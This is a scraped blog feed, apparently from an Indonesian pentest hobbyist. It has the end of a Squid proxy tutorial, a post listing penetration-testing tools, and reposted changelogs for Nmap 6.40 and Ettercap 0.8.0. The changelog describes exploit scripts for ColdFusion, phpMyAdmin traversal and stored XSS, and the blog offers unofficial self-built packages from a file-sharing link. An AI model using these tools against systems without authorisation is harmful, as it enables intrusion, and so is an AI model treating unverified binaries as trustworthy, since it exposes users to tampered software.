style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">squid -k parse</span></b></code></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>10. Generate Cache Directory</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~</span></b></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">squid -z</span></b></code></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>11. Run Squid</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~</span></b></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">squid -NDd1</span></b></code></div>
</div>
<div>
<br /></div>
<div>
Jangan tekan ctrl+c atau tutup terminal anda. Ini akan mengakibatkan squid berhenti. Cara lain untuk mengeksekusi squid adalah:</div>
<div>
<br /></div>
<div>
a. Tekan alt+f2</div>
<div>
b. Masukan perintah "squid -NDd1" [Tanpa tanda petik]</div>
<div>
<br /></div>
<div>
<b>12. Checking Squid</b></div>
<div>
<br /></div>
<div>
Dalam konfigurasi, saya mengatur squid untuk berjalan pada port 16791. Cek service squid dengan perintah</div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~</span></b></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">netstat -lpnt | grep 16791</span></b></code></div>
</div>
<div>
<br /></div>
<div>
Jika muncul seperti ini, maka squid sudah berjalan, dan siap menerima request. Jangan lupa untuk mengatur proxy anda dengan</div>
<div>
<br /></div>
<div>
a. IP = 127.0.0.1</div>
<div>
b. Port = 16791</div>
<div>
<br /></div>
<div>
Don't forget to share this page.</div>
<div>
<br /></div>
<div style="text-align: center;">
<b>You</b></div>
<div style="text-align: center;">
<b>are</b></div>
<div style="text-align: center;">
<b>so</b></div>
<div style="text-align: center;">
<b>connected</b></div>
<div style="text-align: center;">
<b>by</b></div>
<div style="text-align: center;">
<b><span style="color: red;">red-dragon</span></b></div>
<div style="text-align: left;">
<br /></div>
Anonymousnoreply@blogger.com4tag:blogger.com,1999:blog-4322924474312123143.post-49385408824437752392014-02-25T17:09:00.001+07:002014-02-25T17:12:28.151+07:00Apakah kamu pantas mendapatkan pekerjaan di Google?Hallo sobat sekalian! Baru baru ini saya mendapat informasi unik mengenai "Apa saja pertanyaan yang diberikan oleh HRD di kantor Google ketika menginterview para pelamar pekerjaan?"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Wxm1yRlg2Hs/UwxsaCfGJeI/AAAAAAAAAj0/HEHkM4X7br0/s1600/logo11w.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Wxm1yRlg2Hs/UwxsaCfGJeI/AAAAAAAAAj0/HEHkM4X7br0/s1600/logo11w.png" height="113" width="320" /></a></div>
<br />
Nah, kalo kamu tertarik kamu bisa ikutan mengisi form di bawah ini, hasilnya akan saya post di blog ini tanggal 10 Maret besok. Ayo ajak teman-teman kamu! Share link ini juga ya? Jawaban paling menarik akan saya sertakan di post saya berikutnya!<br />
<br />
<a name='more'></a><br />
<iframe frameborder="0" height="500" marginheight="0" marginwidth="0" src="https://docs.google.com/forms/d/10ZDKs9byrRlhUmK7YB8WkV32xCW0UqzJyBlAI1OTfCs/viewform?embedded=true" width="760">Loading...</iframe><br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-74796391230590530072014-02-20T16:29:00.000+07:002014-02-20T16:29:51.453+07:00Preparation for The red-dragon ClassesHey guys. Have you got an information about my classes? No? Well, I'll tell you then. I've decide to back to my old hobby, yes it's <a href="https://en.wikipedia.org/wiki/Penetration_test">penetration test</a>. Well, it has been a LONG time right? I'm even a little bit confuse to myself, what the hell is going on me?! That's a LONG story, and I think I'll keep it for myself.<br />
<br />
So... Let's get started... Before I start the class, I hope you guys will follow my instructions to get the latest pentest tools both from sources and from repositories.<br />
<br />
<b><span style="color: red;">NOTE: AT NOW, MY INSTRUCTION ARE FOR DEBIAN-BASED-LINUX USERS. IF YOU USE ANY OTHER LINUX BASE DISTROS, THEN YOU HAVE TO WAIT UNTIL I UPDATE THIS POST ABOUT HOW TO FOLLOW MY CLASSES WITH NON-DEBIAN-BASED-LINUX</span></b><br />
<br />
<a name='more'></a><b>LIST OF TOOLS (THIS SECTION WILL BE UPDATED SOON AS I FOUND OTHER REQUIREMENTS)</b><br />
<br />
<b>1. Reconnaissance tools</b><br />
<br />
<ul>
<li><a href="http://nmap.org/">Nmap</a> ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).</li>
<li><a href="http://nixgeneration.com/~jaime/netdiscover/">Netdiscover</a> is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. It can be also used on hub/switched networks. Built on top of libnet and libpcap, it can passively detect online hosts, or search for them, by actively sending arp requests, it can also be used to inspect your network arp traffic, or find network addresses using auto scan mode, which will scan for common local networks.</li>
<li><a href="http://sourceforge.net/projects/dirb/">DIRB</a> - URL Bruteforcer: DIRB is a Web Content Scanner. It looks for hidden Web Objects. It basically works by launching a dictionary based attack against a web server and analizing the response. DIRB main purpose is to help in web application auditing.</li>
</ul>
<div>
<b>2. Exploitation Tools</b></div>
<div>
<ul>
<li><a href="http://www.metasploit.com/">Metasploit</a> is a computer security tool that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.</li>
<li><a href="http://www.exploit-db.com/">Exploit Database</a> (EDB) – an ultimate archive of exploits and vulnerable software. A great resource for penetration testers, vulnerability researchers, and security addicts alike. Our aim is to collect exploits from submittals and mailing lists and concentrate them in one, easy to navigate database.</li>
</ul>
<div>
<b>3. Machine Virtualization</b></div>
</div>
<div>
<ul>
<li><u>VMware</u>® <a href="http://www.vmware.com/ap/products/workstation/">Workstation</a>™ is recognized for its broad operating system support, rich user experience, a comprehensive feature set and high performance. Workstation is designed for professionals that rely on virtual machines to get their job done.</li>
</ul>
<div>
If you don't like Workstation version, you can use Player version.</div>
</div>
<div>
<ul>
<li>Vmware® <a href="http://www.vmware.com/ap/products/player/">Player Plus</a>™ is the best way to deliver a managed desktop to all of your employees, students, contractors, partners or customers. Instead of buying and shipping hardware, simply provide Player Plus along with a virtual machine containing your standardized desktop image.</li>
</ul>
</div>
<br />
<br />
I will give you a link about guide how to install these tools.Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-88072552149049311692014-02-13T10:57:00.000+07:002014-02-13T10:57:13.750+07:00Nmap 6.40-1Hey guys. I don't know what to share today, but I think sharing some apps gonna be fun. So today I'll share you a utility for network discovery and security auditing. Yes! It's <a href="http://nmap.org/">Nmap</a>!<br />
<br />
The version of Nmap that I'll share to you is 6.40. It's a little bit disappointing because the developers didn't update the version since 29th July 2013! But I saw some commits on their repository, which means the update is on the progress, nobody know when the new version will be released though.<br />
<br />
Anyway, here are the changelogs about Nmap 6.40<br />
<br />
<a name='more'></a><br />
<b>Nmap 6.40 [2013-07-29]</b><br />
<br />
o [Ncat] Added --lua-exec. This feature is basically the equivalent of 'ncat<br />
--sh-exec "lua "' and allows you to run Lua scripts with Ncat,<br />
redirecting all stdin and stdout operations to the socket connection. See<br />
http://nmap.org/book/ncat-man-command-options.html [Jacek Wielemborek]<br />
<br />
o Integrated all of your IPv4 OS fingerprint submissions since January<br />
(1,300 of them). Added 91 fingerprints, bringing the new total to 4,118.<br />
Additions include Linux 3.7, iOS 6.1, OpenBSD 5.3, AIX 7.1, and more.<br />
Many existing fingerprints were improved. Highlights:<br />
http://seclists.org/nmap-dev/2013/q2/519. [David Fifield]<br />
<br />
o Integrated all of your service/version detection fingerprints submitted<br />
since January (737 of them)! Our signature count jumped by 273 to 8,979.<br />
We still detect 897 protocols, from extremely popular ones like http, ssh,<br />
smtp and imap to the more obscure airdroid, gopher-proxy, and<br />
enemyterritory. Highlights:<br />
http://seclists.org/nmap-dev/2013/q3/80. [David Fifield]<br />
<br />
o Integrated your latest IPv6 OS submissions and corrections. We're still<br />
low on IPv6 fingerprints, so please scan any IPv6 systems you own or<br />
administer and submit them to http://nmap.org/submit/. Both new<br />
fingerprints (if Nmap doesn't find a good match) and corrections (if Nmap<br />
guesses wrong) are useful. [David Fifield]<br />
<br />
o [Nsock] Added initial proxy support to Nsock. Nmap version detection<br />
and NSE can now establish TCP connections through chains of one or<br />
more CONNECT or SOCKS4 proxies. Use the Nmap --proxies option with a<br />
chain of one or more proxies as the argument (example:<br />
http://localhost:8080,socks4://someproxy.example.com). Note that<br />
only version detection and NSE are supported so far (no port<br />
scanning or host discovery), and there are other limitations<br />
described in the man page. [Henri Doreau]<br />
<br />
o [NSE] Added 14 NSE scripts from 6 authors, bringing the total up to 446.<br />
They are all listed at http://nmap.org/nsedoc/, and the summaries are<br />
below (authors are listed in brackets):<br />
<br />
+ hostmap-ip2hosts finds hostnames that resolve to the target's IP address<br />
by querying the online database at http://www.ip2hosts.com (uses Bing<br />
search results) [Paulino Calderon]<br />
<br />
+ http-adobe-coldfusion-apsa1301 attempts to exploit an authentication<br />
bypass vulnerability in Adobe Coldfusion servers (APSA13-01:<br />
http://www.adobe.com/support/security/advisories/apsa13-01.html) to<br />
retrieve a valid administrator's session cookie. [Paulino Calderon]<br />
<br />
+ http-coldfusion-subzero attempts to retrieve version, absolute path of<br />
administration panel and the file 'password.properties' from vulnerable<br />
installations of ColdFusion 9 and 10. [Paulino Calderon]<br />
<br />
+ http-comments-displayer extracts and outputs HTML and JavaScript<br />
comments from HTTP responses. [George Chatzisofroniou]<br />
<br />
+ http-fileupload-exploiter exploits insecure file upload forms in web<br />
applications using various techniques like changing the Content-type<br />
header or creating valid image files containing the payload in the<br />
comment. [George Chatzisofroniou]<br />
<br />
+ http-phpmyadmin-dir-traversal exploits a directory traversal<br />
vulnerability in phpMyAdmin 2.6.4-pl1 (and possibly other versions) to<br />
retrieve remote files on the web server. [Alexey Meshcheryakov]<br />
<br />
+ http-stored-xss posts specially crafted strings to every form it<br />
encounters and then searches through the website for those strings to<br />
determine whether the payloads were successful. [George Chatzisofroniou]<br />
<br />
+ http-vuln-cve2013-0156 detects Ruby on Rails servers vulnerable to<br />
object injection, remote command executions and denial of service<br />
attacks. (CVE-2013-0156) [Paulino Calderon]<br />
<br />
+ ike-version obtains information (such as vendor and device type where<br />
available) from an IKE service by sending four packets to the host.<br />
This scripts tests with both Main and Aggressive Mode and sends multiple<br />
transforms per request. [Jesper Kueckelhahn]<br />
<br />
+ murmur-version detects the Murmur service (server for the Mumble voice<br />
communication client) versions 1.2.X. [Marin Maržić]<br />
<br />
+ mysql-enum performs valid-user enumeration against MySQL server using a<br />
bug discovered and published by Kingcope<br />
(http://seclists.org/fulldisclosure/2012/Dec/9). [Aleksandar Nikolic]<br />
<br />
+ teamspeak2-version detects the TeamSpeak 2 voice communication server<br />
and attempts to determine version and configuration information. [Marin<br />
Maržić]<br />
<br />
+ ventrilo-info detects the Ventrilo voice communication server service<br />
versions 2.1.2 and above and tries to determine version and<br />
configuration information. [Marin Maržić]<br />
<br />
o Updated the Nmap license agreement to close some loopholes and stop some<br />
abusers. It's particularly targeted at companies which distribute<br />
malware-laden Nmap installers as we caught Download.com doing last<br />
year--http://insecure.org/news/download-com-fiasco.html. The updated<br />
license is in the all the normal places, including<br />
https://svn.nmap.org/nmap/COPYING.<br />
<br />
o [NSE] Oops, there was a vulnerability in one of our 437 NSE scripts. If<br />
you ran the (fortunately non-default) http-domino-enum-passwords script<br />
with the (fortunately also non-default) domino-enum-passwords.idpath<br />
parameter against a malicious server, it could cause an arbitrarily named<br />
file to to be written to the client system. Thanks to Trustwave researcher<br />
Piotr Duszynski for discovering and reporting the problem. We've fixed<br />
that script, and also updated several other scripts to use a new<br />
stdnse.filename_escape function for extra safety. This breaks our record<br />
of never having a vulnerability in the 16 years that Nmap has existed, but<br />
that's still a fairly good run! [David, Fyodor]<br />
<br />
o Unicast CIDR-style IPv6 range scanning is now supported, so you can<br />
specify targets such as en.wikipedia.org/120. Obviously it will take ages<br />
if you specify a huge space. For example, a /64 contains<br />
18,446,744,073,709,551,616 addresses. [David Fifield]<br />
<br />
o It's now possible to mix IPv4 range notation with CIDR netmasks in target<br />
specifications. For example, 192.168-170.4-100,200.5/16 is effectively the<br />
same as 192.168.168-170.0-255.0-255. [David Fifield]<br />
<br />
o Timeout script-args are now standardized to use the timespec that Nmap's<br />
command-line arguments take (5s, 5000ms, 1h, etc.). Some scripts that<br />
previously took an integer number of milliseconds will now treat that as a<br />
number of seconds if not explicitly denoted as ms. [Daniel Miller]<br />
<br />
o Nmap may now partially rearrange its target list for more efficient<br />
host groups. Previously, a single target with a different interface,<br />
or with an IP address the same as a that of a target already in the<br />
group, would cause the group to be broken off at whatever size it<br />
was. Now, we buffer a small number of such targets, and keep looking<br />
through the input for more targets to fill out the current group.<br />
[David Fifield]<br />
<br />
o [Ncat] The -i option (idle timeout) now works in listen mode as well as<br />
connect mode. [Tomas Hozza]<br />
<br />
o [Ncat] Ncat now support chained certificates with the --ssl-cert<br />
option. [Greg Bailey]<br />
<br />
o [Nping] Nping now checks for a matching ICMP ID on echo replies, to avoid<br />
receiving crosstalk from other ping programs running at the same<br />
time. [David Fifield]<br />
<br />
o [NSE] The ipOps.isPrivate library now considers the deprecated site-local<br />
prefix fec0::/10 to be private. [Marek Majkowski]<br />
<br />
o Nmap's routing table is now sorted first by netmask, then by metric.<br />
Previously it was the other way around, which could cause a very general<br />
route with a low metric to be preferred over a specific route with a<br />
higher metric.<br />
<br />
o Routes are now sorted to prefer those with a lower metric. Retrieval of<br />
metrics is supported only on Linux and Windows. [David Fifield]<br />
<br />
o Fixed a byte-ordering problem on little-endian architectures when doing<br />
idle scan with a zombie that uses broken ID increments. [David Fifield]<br />
<br />
o Stop parsing TCP options after reaching EOL in libnetutil. Bug reported by<br />
Gustavo Moreira. [Henri Doreau]<br />
<br />
o [NSE] The dns-ip6-arpa-scan script now optionally accepts "/" syntax for a<br />
network mask. Based on a patch by Indula Nayanamith.<br />
<br />
o [Ncat] Reduced the default --max-conns limit from 100 to 60 on Windows, to<br />
stay within platform limitations. Suggested by Andrey Olkhin.<br />
<br />
o Fixed IPv6 routing table alignment on NetBSD.<br />
<br />
o Fixed our NSEDoc system so the author field uses UTF-8 and we can spell<br />
people's name properly, even if they use crazy non-ASCII characters like<br />
Marin Maržić. [David Fifield]<br />
<br />
o UDP protocol payloads were added for detecting the Murmer service (a<br />
server for the Mumble voice communication client) and TeamSpeak 2 VoIP<br />
software.<br />
<br />
o [NSE] Added http-phpmyadmin-dir-traversal by Alexey Meshcheryakov.<br />
<br />
o Updated libdnet to not SIOCIFNETMASK before SIOCIFADDR on OpenBSD. This<br />
was reported to break on -current as of May 2013. [Giovanni Bechis]<br />
<br />
o Fixed address matching for SCTP (-PY) ping. [Marin Maržić]<br />
<br />
o Removed some non-ANSI-C strftime format strings ("%F") and<br />
locale-dependent formats ("%c") from NSE scripts and libraries.<br />
C99-specified %F was noticed by Alex Weber. [Daniel Miller]<br />
<br />
o [Zenmap] Improved internationalization support:<br />
+ Added Polish translation by Jacek Wielemborek.<br />
+ Updated the Italian translation. [Giacomo]<br />
<br />
o [Zenmap] Fixed internationalization files. Running in a language other<br />
than the default English would result in the error "ValueError: too many<br />
values to unpack". [David Fifield]<br />
<br />
o [NSE] Updated the included Liblua from version 5.2.1 to 5.2.2. [Patrick<br />
Donnelly]<br />
<br />
o [Nsock] Added a minimal regression test suite for Nsock. [Henri Doreau]<br />
<br />
o [NSE] Updated the redis-brute and redis-info scripts to work against the<br />
latest versions of redis server. [Henri Doreau]<br />
<br />
o [Ncat] Fixed errors in connecting to IPv6 proxies. [Joachim Henke]<br />
<br />
o [NSE] Updated hostmap-bfk to work with the latest version of their website<br />
(bfk.de). [Paulino Calderon]<br />
<br />
o [NSE] Added XML structured output support to:<br />
+ xmpp-info, irc-info, sslv2, address-info [Daniel Miller]<br />
+ hostmap-bfk, hostmap-robtex, hostmap-ip2hosts. [Paulino Calderon]<br />
+ http-git.nse. [Alex Weber]<br />
<br />
o Added new service probes for:<br />
+ Erlang distribution nodes [Michael Schierl]<br />
+ Minecraft servers. [Eric Davisson]<br />
+ Hazelcast data grid. [Pavel Kankovsky]<br />
<br />
o [NSE] Rewrote telnet-brute for better compatibility with a variety of<br />
telnet servers. [nnposter]<br />
<br />
o Fixed a regression that changed the number of delimiters in machine<br />
output. [Daniel Miller]<br />
<br />
o Fixed a regression in broadcast-dropbox-listener which prevented it from<br />
producing output. [Daniel Miller]<br />
<br />
o Handle ICMP type 11 (Time Exceeded) responses to port scan probes. Ports<br />
will be reported as "filtered", to be consistent with existing Connect<br />
scan results, and will have a reason of time-exceeded. DiabloHorn<br />
reported this issue via IRC. [Daniel Miller]<br />
<br />
o Add new decoders (BROWSER, DHCP6 and LLMNR) to broadcast-listener and<br />
changed output of some of the decoders slightly. [Patrik Karlsson]<br />
<br />
o The list of name servers on Windows now ignores those from inactive<br />
interfaces. [David Fifield]<br />
<br />
o Namespace the pipes used to communicate with subprocesses by PID, to avoid<br />
multiple instances of Ncat from interfering with each other. Patch by<br />
Andrey Olkhin.<br />
<br />
o [NSE] Changed ip-geolocation-geoplugin to use the web service's new output<br />
format. Reported by Robin Wood.<br />
<br />
o Limited the number of open sockets in ultra_scan to FD_SETSIZE. Very fast<br />
connect scans could write past the end of an fd_set and cause a variety of<br />
crashes:<br />
nmap: scan_engine.cc:978: bool ConnectScanInfo::clearSD(int): Assertion `numSDs > 0' failed.<br />
select failed in do_one_select_round(): Bad file descriptor (9)<br />
[David Fifield]<br />
<br />
o Fixed a bug that prevented Nmap from finding any interfaces when one of<br />
them had the type ARP_HDR_APPLETALK; this was the case for AppleTalk<br />
interfaces. However, This support is not complete since AppleTalk<br />
interfaces use different size hardware addresses than Ethernet. Nmap IP<br />
level scans should work without any problem, please refer to the<br />
'--send-ip' switch and to the following thread:<br />
http://seclists.org/nmap-dev/2013/q1/214. This bug was reported by Steven<br />
Gregory Johnson. [Daniel Miller]<br />
<br />
o [Nping] Nping on Windows now skips localhost targets for privileged pings<br />
on (with an error message) because those generally don't work. [David<br />
Fifield]<br />
<br />
o [Ncat] Ncat now keeps running in connect mode after receiving EOF from the<br />
remote socket, unless --recv-only is in effect. [Tomas Hozza]<br />
<br />
o Packet trace of ICMP packets now include the ICMP ID and sequence number<br />
by default. [David Fifield]<br />
<br />
o [NSE] Fixed various NSEDoc bugs found by David Matousek.<br />
<br />
o [Zenmap] Zenmap now understands the NMAP_PRIVILEGED and NMAP_UNPRIVILEGED<br />
environment variables. [Tyler Wagner]<br />
<br />
o Added an ncat_assert macro. This is similar to assert(), but remains even<br />
if NDEBUG is defined. Replaced all Ncat asserts with this. We also moved<br />
operation with side effects outside of asserts as yet another layer of<br />
bug-prevention [David Fifield].<br />
<br />
o Added nmap-fo.xsl, contributed by Tilik Ammon. This converts Nmap XML into<br />
XSL-FO, which can be converted into PDF using tools suck as Apache FOP.<br />
<br />
o Increased the number of slack file descriptors not used during connect<br />
scan. Previously, the calculation did not consider the descriptors used by<br />
various open log files. Connect scans using a lot of sockets could fail<br />
with the message "Socket creation in sendConnectScanProbe: Too many open<br />
files". [David Fifield]<br />
<br />
o Changed the --webxml XSL stylesheet to point to the new location of<br />
nmap.xsl in the new repository (https://svn.nmap.org/nmap/docs/nmap.xsl).<br />
It still may not work in web browsers due to same origin policy (see<br />
http://seclists.org/nmap-dev/2013/q1/58). [David Fifield, Simon John]<br />
<br />
o [NSE] The vulnerability library can now preserve vulnerability information<br />
across multiple ports of the same host. The bug was reported by<br />
iphelix. [Djalal Harouni]<br />
<br />
o Removed the undocumented -q option, which renamed the nmap process to<br />
something like "pine".<br />
<br />
o Moved the Japanese man page from man1/jp to man1/ja. JP is a country code<br />
while JA is a language code. Reported by Christian Neukirchen.<br />
<br />
o [Nsock] Reworked the logging infrastructure to make it more flexible and<br />
consistent. Updated Nmap, Nping and Ncat accordingly. Nsock log level can<br />
now be adjusted at runtime by pressing d/D in nmap. [Henri Doreau, David<br />
Fifield]<br />
<br />
o [NSE] Fixed scripts using unconnected UDP sockets. The bug was reported by<br />
Dhiru Kholia at http://seclists.org/nmap-dev/2012/q4/422. [David Fifield]<br />
<br />
o Made some changes to Ndiff to reduce parsing time when dealing with large<br />
Nmap XML output files. [Henri Doreau]<br />
<br />
o Clean up the source code a bit to resolve some false positive issues<br />
identified by the Parfait static code analysis program. Oracle apparently<br />
runs this on programs (including Nmap) that they ship with Solaris. See<br />
http://seclists.org/nmap-dev/2012/q4/504. [David Fifield]<br />
<br />
o [Zenmap] Fixed a crash that could be caused by opening the About dialog,<br />
using the window manager to close it, and opening it again. This was<br />
reported by Yashartha Chaturvedi and Jordan Schroeder. [David Fifield]<br />
<br />
o [Ncat] Made test-addrset.sh exit with nonzero status if any tests<br />
fail. This in turn causes "make check" to fail if any tests fail.<br />
[Andreas Stieger]<br />
<br />
o Fixed compilation with --without-liblua. The bug was reported by Rick<br />
Farina, Nikos Chantziaras, and Alex Turbov. [David Fifield]<br />
<br />
o Fixed CRC32c calculation (as used in SCTP scans) on 64-bit<br />
platforms. [Pontus Andersson]<br />
<br />
o [NSE] Added multicast group name output to<br />
broadcast-igmp-discovery.nse. [Vasily Kulikov]<br />
<br />
o [NSE] Added new fingerprints for http-enum: Sitecore, Moodle, typo3,<br />
SquirrelMail, RoundCube. [Jesper Kückelhahn]<br />
<br />
Facts about this version:<br />
1. This version is compiled on x86_64 bit version of linux, so THIS PACKAGE WILL ONLY WORKS ON 64 bit!<br />
2. This is installation package FOR DEBIAN ONLY!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-dtLFgEY2l5M/UvxBvVMEKkI/AAAAAAAAAeU/lYc3VE8EnzU/s1600/Screenshot+from+2014-02-13+10:53:15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-dtLFgEY2l5M/UvxBvVMEKkI/AAAAAAAAAeU/lYc3VE8EnzU/s1600/Screenshot+from+2014-02-13+10:53:15.png" height="140" width="320" /></a></div>
<br />
Grab the package <a href="https://drive.google.com/file/d/0B-5busctKRNZd194WkZGVXlGa0E/edit?usp=sharing">here</a><br />
<br />
Enjoy your new version of Nmap!Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-56045649410172546142014-02-12T20:03:00.001+07:002014-02-12T20:12:48.421+07:00Ettercap 0.8.0 CODENAME: LacassagneHey guys. It's been a long time! I'm back!<br />
<br />
Well, this is first post on 2014. Hope you like it.<br />
<br />
<a name='more'></a>Today, I will share you a comprehensive suite man in the middle. Yes! It's ETTERCAP! I've compiled the source using Debian x86_64, so <b><span style="color: red;">this Debian package will work only on x86_64 Debian based distro</span></b>. But I'm promise, I will make i386 version for this hellish tool.<br />
<br />
<b>Bug Fix</b><br />
!! Fixed some problems in fork and execve usage in case of command failure (sslstrip)<br />
!! Fixed dropping privileges for remote_browser plugin ran as root<br />
!! Fixed infinite loop when a http GET was issued on the attacker browser, while remote_browser was active<br />
!! Fixed some "atexit" bad references<br />
!! Fixed plugin load on text interface, if no number were entered<br />
!! Fixed problem spotted when ethtool wasn't installed on the machine<br />
!! Fixed old "ethereal" references<br />
!! Fixed missing newlines in printf<br />
!! Switching to ps2pdf as default (from ps2pdf13), it should point to ps2pdf14 on all distros<br />
!! Fix cmake file, dropped MACPORTS_BASE_DIRECTORY<br />
!! Fix problem in "stopping attacks" window not properly shown in gtk<br />
!! Fix problem in wrong pcap file saving<br />
!! Fix issue in send_udp function<br />
!! Fix problem in libnet rc detection<br />
!! Fix restore ip_forward by retrying up to 5 times<br />
!! Fix socket issues<br />
!! Fix for hex format display<br />
!! New send_tcp function, taking payload and length<br />
!! Fixed memory leak in remote browser plugin<br />
!! Fixed comparison bug in ec_decode<br />
!! Fixed UI input for GTK<br />
!! Fixed some memory leaks<br />
!! Fixed man pages and AUTHORS file<br />
!! Fixes in sslstrip plugin<br />
!! Many etter.dns fixes<br />
!! Many documentation fixes<br />
!! A ton of refactors/fixes in Cmake scripts<br />
!! Fix GTK crash when scanning hosts<br />
!! Fix build failure on Mac OS X 10.6<br />
!! Crash fix in target selection<br />
!! Disabled UID change for remote browser plugin<br />
!! Fixed remote browser plugin<br />
!! A ton of fixes in protocols and dissectors (dhcp, http, ppp, mpls)<br />
<br />
<b>New Features</b><br />
+ New ettercap logo<br />
+ Renamed help menu to "?", to avoid double "H" shortcut<br />
